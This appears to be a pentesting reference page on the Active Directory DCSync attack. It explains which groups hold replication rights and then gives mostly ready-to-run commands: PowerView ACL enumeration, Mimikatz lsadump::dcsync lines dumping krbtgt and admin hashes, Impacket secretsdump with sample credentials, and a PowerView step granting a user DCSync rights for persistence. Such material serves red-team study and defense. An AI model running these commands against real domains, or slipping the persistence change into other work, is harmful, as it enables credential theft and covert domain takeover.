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DCSync Attack

Description

A DCSync attack is where an adversary impersonates a Domain Controller (DC) and requests replication changes from a specific DC. The DC in turn returns replication data to the adversary, which includes account hashes.

By default the following groups have permissions to perform this action:

  • Administrators

  • Domain Admins

  • Enterprise Admins

  • Domain Controllers

However, in an incorrectly configured environment it may be possible to hunt down users who have the required individual permissions without being in any of the aforementioned groups. These individual permissions are:

  • Replicating Directory Changes

  • Replicating Directory Changes All

  • Replicating Directory Changes In Filtered Set

Enumeration

The following commands can be used with PowerView to enumerate for users with the required rights.

Get-ObjectACL "DC=security,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}

# OR

Get-ObjectAcl -DistinguishedName "DC=Security,DC" -ResolveGUIDs | ?{($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

We can take the individual SID's and attempt to identify the related User Principal Names (UPN's).

Get-ADUser -Identity S-1-5-21-2543357152-2466851693-2862170513-1121
Get-ADGroup -Identity S-1-5-21-2543357152-2466851693-2862170513-527

Using PowerView

Get-ObjectAcl -Identity "dc=security,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2543357152-2466851693-2862170513-1121"

Using Wmic

wmic useraccount get name,sid

Exploitation

Mimikatz can be used to pull hashes from account.

Mimikatz needs to be run as an account that can perform replication.

lsadump::dcsync /domain:<Domain> /user:<Users-Hash-To-Dump>
lsadump::dcsync /domain:security.local /user:new_admin
lsadump::dcsync /user:security\krbtgt"

Secretsdump.py

Impacket's secretsdumpy.py can be used to dump all domain hashes, providing the hash or password is known for an account with permission to perform replication.

sudo python2 secretsdump.py <Domain>/<User>:<Password>@<IP>
sudo python2 secretsdump.py security/Moe:'Password123!'@10.10.10.10

Persistence

PowerView can be used to give a user object the DCSync rights for future exploitation.

Add-ObjectACL -TargetDistinguishedName "DC=Security,DC=local" -PrincipalSamAccountName 'Moe' -Rights DCSync

References: https://www.exploit-db.com/docs/48298

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